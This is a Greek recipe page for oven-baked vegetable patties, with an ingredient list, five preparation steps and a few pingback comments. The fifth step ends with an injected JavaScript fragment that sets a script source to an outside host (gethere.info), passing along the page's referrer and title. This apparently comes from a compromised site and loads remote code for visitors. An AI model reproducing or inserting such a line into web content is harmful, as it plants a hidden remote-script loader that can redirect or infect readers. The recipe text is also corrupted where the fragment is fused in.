mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Μπιφτέκια λαχανικών

Μπιφτέκια λαχανικών

veggie-burgersΤο καλοκαιράκι μας φέρνει και νόστιμα λαχανικά που μπορούμε να τα φάμε με διάφορους τρόπους! Ειδικά τα κολοκυθάκια και οι μελιτζάνες που θα συντροφεύουν την κουζίνα μας όλους τους ζεστούς μήνες μπορούν να λάβουν σημαντική θέση στη διατροφή μας και να χρησιμοποιηθούν επιτυχώς σε πολλές συνταγές!

Επειδή σε όλους μας αρέσουν τα μπιφτέκια αλλά είναι καλό να μην τρώμε συνέχεια κιμά όπως συμβουλεύουν οι ειδικοί, υπάρχει η πεντανόστιμη καλοκαιρινή επιλογή για να φτιάξουμε μπιφτέκια από λαχανικά!

Υγιεινή και θρεπτική αυτή η συνταγή έρχεται να κλέψει τις καρδιές μικρών και μεγάλων! Μπορούμε επίσης να δοκιμάσουμε να φτιάξουμε και ως μπέργκερ με τα ειδικά ψωμάκια και τα απαραίτητα συνοδευτικά! Επίσης τα μπιφτέκια λαχανικών γίνονται είτε ψητά στο φούρνο είτε στο bbq αλλά και τηγανητά!

Υλικά:

1 καρότο
φρέσκα μανιτάρια
1-2 πατάτες
1 κρεμμύδι
1 μελιτζάνα
1 κολοκυθάκι
1 κόκκινη πιπεριά
1 πράσινη πιπεριά
2 σκελίδες σκόρδο
μαϊντανό
1 αυγό
πιπέρι
αλάτι
ελαιόλαδο
1 κούπα αλεύρι
1 κούπα φρυγανιά τριμμένη

Εκτέλεση

1. Πλένουμε καλά τα λαχανικά, τα καθαρίζουμε και μετά κόβουμε σε μεγάλα κομμάτια για αν τα βάλουμε στο μούλτι. Τα αλέθουμε καλά μέχρι να γίνουν ένα μείγμα.
2. Το βγάζουμε από το μπλέντερ και μέσα σε ένα μπωλ τα αναμειγνύουμε με το αλεύρι, το λάδι, τη φρυγανιά, το αυγό και το αλατοπίπερο.
3. Ζυμώνουμε μέχρι να ανακατευτούν καλά και αφήνουμε το μείγμα για 20 λεπτά
4. Έπειτα παίρνουμε λίγο από τη ζύμη και φτιάχνουμε τα μπιφτέκια. Τα τοποθετούμε ένα ένα σε ένα ταψί που έχουμε βάλει λαδόκολλα και ψήνουμε σε προθερμασμένο φούρνο για μισή ώρα περίπου.
5. Σερβίρουμε με ψητές πατάτες ή ρύζι!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
3 Σχόλια
  1. […] post Μπιφτέκια λαχανικ&#974… appeared first on Arkoudos, Συνταγές … […]

  2. […] Μπιφτέκια λαχανικ&#974… […]